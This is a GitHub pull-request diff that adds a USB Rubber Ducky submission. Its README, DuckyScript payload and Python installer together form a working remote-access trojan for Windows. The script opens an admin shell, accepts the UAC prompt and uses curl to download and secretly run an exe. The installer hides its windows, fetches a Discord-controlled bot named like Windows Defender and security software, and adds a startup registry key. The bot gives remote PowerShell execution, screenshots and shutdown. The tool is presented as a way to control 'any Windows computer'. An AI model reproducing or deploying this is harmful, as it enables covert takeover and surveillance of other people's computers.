Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
38 changes: 38 additions & 0 deletions submissions/3XAYRemoteAccess/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,38 @@
# 3XAYRemoteAccess
**Author**: Ayan Bindal (@3XAY) <br>
**Version**: 1.0 <br>
**Language**: DuckyScript 1.0

## Overview
My remote access script can be loaded onto a USB Rubber Ducky or a similar device to gain remote access to any Windows computer. The script itself is very short and will execute quickly, allowing you to remove it within a few seconds. The rest of the script will run without the USB Rubber Ducky to finish the installation. You can then control the computer via Discord. A small amount of setup is required the first time you use this tool, check the [Installation](#Installation) section for more information.
The script takes ~40 seconds to execute (for just the rubber ducky part)

## Commands
* `.type <input>` - Types the input message on the client
* `.mouse <x> <y>` - Moves the mouse on the client, values separated by 1 space
* `.left` - Sends a left mouse click command to the client
* `.right` - Sends a right mouse click command to the server
* `.screen` - Sends a screenshot of the client screen
* `.cmd <input>` - Runs the given command in Windows Powershell
* `.url <input>` - Opens the given URL on the client
* `.win` - Presses the Windows key on the client
* `.enter` - Presses the enter key on the client
* `.shutdown` - Shuts the client's computer down, it will show a confirmation pop-up and the bot will also be shutdown before you can allow the shutdown, **HIGH RISK OF EXPOSURE**
* `.k` - Instantly kills the bot but leaves the client's computer on

## Installation
1. Follow the steps [here](https://youtu.be/-H4yoyXlrEQ?si=jpTu1eZHZhg_42M7) to make your Discord bot, you can even make 1 per client (multiple clients are not supported for one bot)
2. Open the "VerySafeAntivirus.py" file and put your token and ID in (near line 29-30)
3. Install auto-py-to-exe `pip install auto-py-to-exe` and build the exe, make sure to check the following settings:
- One file
- Window Based
- Advanced > --name = WindowsPremiumSecurity
- Advanced > --clean = Enable
- Advanced > Windows specific options > --uac-admin = Enable
4. Upload this file somewhere the script can download it
5. Modify script.txt and replace the GitHub URL (under "Download install script") with the download URL for YOUR exe file
6. You're done! Just load up the script.txt on your USB Rubber Ducky and have fun!

## Case
The case prints in 2 parts, the top and bottom. Print them out and then glue them together around the USB rubber ducky.
Removal: To remove the case, break the 3D print (yeah I couldn't think of any other mounting mechanism that's compact + doesn't require screw holes in the PCB)
41 changes: 41 additions & 0 deletions submissions/3XAYRemoteAccess/VerySafeAntivirus.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
#Imports
from subprocess import run, CREATE_NO_WINDOW #To run commands in cmd
from winreg import SetValueEx, CloseKey, OpenKey, KEY_WRITE, REG_SZ, HKEY_CURRENT_USER #Modify registry to always run on startup
from os import getcwd, chdir #To get file path for exe

#Method to run commands and handle errors
def installStep(command):
try:
run(["powershell", command], shell=False, check=False, creationflags=CREATE_NO_WINDOW)
except:
exit()

#Step 1: Create a working directory to download all of the files to
installStep("mkdir Windows-System-Security") #Totally not malware, trust

#Step 2: Download the application to run the Discord bot
installStep("curl https://github.com/3XAY/DiscordPCController/releases/latest/download/Discord.PC.Controller.zip -o Windows-System-Security/Windows-Defender-C.zip")

#Step 3: Decompress the zip file
installStep("Expand-Archive -Force Windows-System-Security/Windows-Defender-C.zip Windows-System-Security/")

#Step 4: Remove the zip file
installStep("Remove-Item -Path Windows-System-Security/Windows-Defender-C.zip -Force")

#Step 5: Create the .env file
#NOTE: When creating your payload, make sure to put YOUR Discord ID and token, then compress it to an .EXE file
#Check README.md for more information
with open("Windows-System-Security\Discord PC Controller\.env", "w") as f:
f.write("DISCORD_TOKEN=YOURTOKENHERE\n")
f.write("DISCORD_ID=YOURIDHERE\n")
f.write("SEND_SCREENSHOT=True")

#Step 6: Make sure the app runs on startup (NOTE: Gemini helped me with this part)
regKey = OpenKey(HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
workDir = getcwd()
SetValueEx(regKey, "Very Safe Windows Security App", 0, REG_SZ, workDir + "\Windows-System-Security\Discord PC Controller\Discord PC Controller.exe")
CloseKey(regKey)

#Step 7: Start the app
chdir("Windows-System-Security\Discord PC Controller")
installStep("start 'Discord PC Controller.exe'")
Binary file not shown.
Binary file added submissions/3XAYRemoteAccess/boardRef.stl
Binary file not shown.
Binary file added submissions/3XAYRemoteAccess/case.stl
Binary file not shown.
Binary file added submissions/3XAYRemoteAccess/hackducky.blend
Binary file not shown.
Binary file added submissions/3XAYRemoteAccess/hackducky.blend1
Binary file not shown.
34 changes: 34 additions & 0 deletions submissions/3XAYRemoteAccess/script.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
REM TITLE 3XAYRemoteAccess
REM AUTHOR 3XAY
REM DESCRIPTION This script will download and setup my Discord PC Controller bot to enable someone (like me) to remotely control other computers via Discord
DEFAULT_DELAY 100

REM Open CMD in Admin mode
GUI r
DELAY 250
STRING cmd
CTRL-SHIFT ENTER

REM Grant Admin access
DELAY 1000
LEFTARROW
ENTER

REM Enter downloads folder
STRING cd %UserProfile\Downloads

REM Download install script
STRING curl https://github.com/3XAY/hackducky/raw/refs/heads/main/submissions/3XAYRemoteAccess/WindowsPremiumSecurity.exe -o WindowsPremiumSecurity.exe -L
ENTER

REM Secretly start downloaded script
DELAY 20000
STRING start WindowsPremiumSecurity.exe
ENTER

REM Long delay because it takes a while for it to bring the input field back
DELAY 15000

REM Close the original "downloader" console
STRING exit
ENTER